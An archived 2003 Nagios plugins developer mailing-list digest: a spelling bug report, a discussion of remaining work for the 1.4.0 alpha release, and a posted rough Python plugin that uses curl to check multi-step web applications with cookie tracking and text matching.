Submitted By: Brian Snead (bsnead) >Assigned to: Subhendu Ghosh (sghosh) Summary: Output string - spelling correction Initial Comment: The current 1.3.1 release of nagios plugins has "received" spelled incorrectly in several plugins. One is check_snmp. The incorrect spelling is "recieved". Plugins where it needs to be corrected: - check_snmp.c - negate.c - netutils.c - urlize.c This is easy enough to change on my end, but every new release will uncorrect it. Thanks Brian. ---------------------------------------------------------------------- >Comment By: Subhendu Ghosh (sghosh) Date: 2003-08-28 10:50 Message: Logged In: YES user_id=46572 Thanks for the report :) ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=796698&group_id=29880 From sghosh at sghosh.org Thu Aug 28 14:31:09 2003 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu Aug 28 14:31:09 2003 Subject: [Nagiosplug-devel] remaining items for 1.4.0 alpha In-Reply-To: <1062040165.14667.21.camel@miles.debisschop.net> Message-ID: On Wed, 27 Aug 2003, Karl DeBisschop wrote: > 1) Performance Data > > I think we have had the needed discussions, and the new perfdata() > function does seem a workable means of implementing performance data > output in a standard way. In particular, without a function like this, > the die() function would be a lot less useful than it is. > > So we are at a point where if anyone wants to grab a plugin and and > perfdata, they should. I am working on check_disk at the moment. I'll add a similar function for the perl plugins... If I run into issues regarding output - will post. > > 2) Internationalization > > The text is marked up for translation. None of the volunteers for doing > the translation have gotten back to me yet. If I'm not mistaken, a lot > of Europe is on vacation at the moment, so it would not be surprising if > I got responses soon. > > If not, we can use Google translations for a first pass. > > 3) Documentation > > We are still far from any complete embedded documentaion solution. Would > people like to run the plugin outputthrough help2man to create standard > man pages? Most of the required work would be in the Makefile(s). > > In any case, we should make an index of the core plugins and their > functions. Volunteers? > I'll write up the index for the core plugins and place it in the doc directory. > 4) Test Suite > > The existing test suite suffers extensive bit rot. I plan to address > that before we move from alpha to beta. > > Anything else to complete before alpha? Good list. Thanks. -- -sg From manithree at crosswinds.net Fri Aug 29 16:53:13 2003 From: manithree at crosswinds.net (Barry Roberts) Date: Fri Aug 29 16:53:13 2003 Subject: [Nagiosplug-devel] check_webapp plugin (very rough) Message-ID: <20030829235158.GB10179@www.robertsr.us> I did this to replace Sitescope with nagios and it does 99% of what I need right now. It uses curl to hit web apps and keep track of cookies, search output etc. So it logs into my web apps, does things to make sure all the backend servers (database, etc.) are all working. I would like to switch it over to pyCurl, but I don't know when I'll have time for that. As is, I'm just looking for feedback on whether there's any possibility or how much work it would take to get it contributed as a standard plugin. Thanks, Barry Roberts -------------- next part -------------- #!/usr/bin/python # Check a web application plugin for nagios # # Copyright (C) 2003 Barry Roberts (blr at robertsr.us) # # REQUIRES CURL !! # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ############################################################################## # # this plugin does several things that check_http doesn't appear to do: # # - keep track of cookies # - check for existence and non-existence of exp in result html # - check multiple urls (on one check) # # The first arg to this script must the url file. It has a simple syntax # where the first char of the line is the command. Valid commands are: # # - comment # U - URL # / - match expression (if not found in result, check fails) # ! - not match expression (if found in result, check fails) # D - dependant URL (not yet implemented. For images, css, etc.) import os,time,sys,popen2,warnings; STATE_OK=0 STATE_WARNING=1 STATE_CRITICAL=2 STATE_UNKNOWN=3 STATE_DEPENDENT=4 # if necessary, you can put a full path here CURL='curl' class urlObj: "Simple object for url stuff" def __init__(self): self.url=''; self.exp=''; self.notexp=''; def readURL(step, uri, exp, notexp, cookiefile): htmlfile = os.tmpnam() # print htmlfile args = '-sS -o ' + htmlfile + ' -c ' + cookiefile + ' -b ' + cookiefile args += ' ' before = time.time(); execstr = CURL + ' ' + args + "'" + uri + "'" # print execstr child = popen2.Popen4(execstr); childmsg = child.fromchild.read(); r = child.wait(); after = time.time(); ret = STATE_OK; if r > 0: ret = STATE_CRITICAL; return after-before, childmsg, ret; # look for the exp if len(exp) > 0: grepret = os.spawnlp(os.P_WAIT, 'grep', 'grep', '-qs', '-i', exp, htmlfile); if grepret > 0: #os.remove(htmlfile) return after-before, exp + ' not found', STATE_CRITICAL if len(notexp) > 0: grepret = os.spawnlp(os.P_WAIT, 'grep', 'grep', '-qs', '-i', notexp, htmlfile); if grepret == 0: #os.remove(htmlfile) return after-before, notexp + ' found', STATE_CRITICAL #os.remove(htmlfile) return after-before, childmsg, ret; def usage(): print "Usage:" print "\tcheck_http --help" print "\tcheck_http urlfile" def checkArgs(): if len(sys.argv) < 2 or sys.argv[1] == '--help' or sys.argv[1] == '-h': usage(); sys.exit(STATE_UNKNOWN); if sys.argv[1] == '--version': print '$Revision: 1.4 $' sys.exit(STATE_UNKNOWN); # main: def main(): checkArgs(); # turn off warnings for tmpnam warnings.filterwarnings('ignore'); f = open(sys.argv[1], 'r'); lines = f.readlines(); f.close(); cookiefile = os.tmpnam(); allStart = time.time(); times = []; urls = []; currObj = urlObj(); for l in range(len(lines)): curr = lines[l] cmd = curr[0]; if cmd == '#': continue param = curr[1:].strip(); if cmd == 'u' or cmd == 'U': currObj = urlObj(); currObj.url = param; urls.append(currObj); if cmd == '!': currObj.notexp = param; if cmd == '/': currObj.exp = param; for l in range(len(urls)): currUrl = urls[l]; elapsed, msg, status = readURL(l, currUrl.url, currUrl.exp, currUrl.notexp, cookiefile); times.append(elapsed); # print msg; if status != STATE_OK: print 'Error in step', l, '(' + currUrl.url + '): ' + msg; sys.exit(STATE_CRITICAL); allDone = time.time(); finalmsg = 'OK - total elapsed time: '+str(allDone - allStart)+ '. | ' for t in range(len(times)): finalmsg += 'step'+str(t)+'='+str(times[t]); if t < len(times)-1: finalmsg += ',' # clean up # os.remove(cookiefile) # os.remove( print finalmsg sys.exit(STATE_OK); main()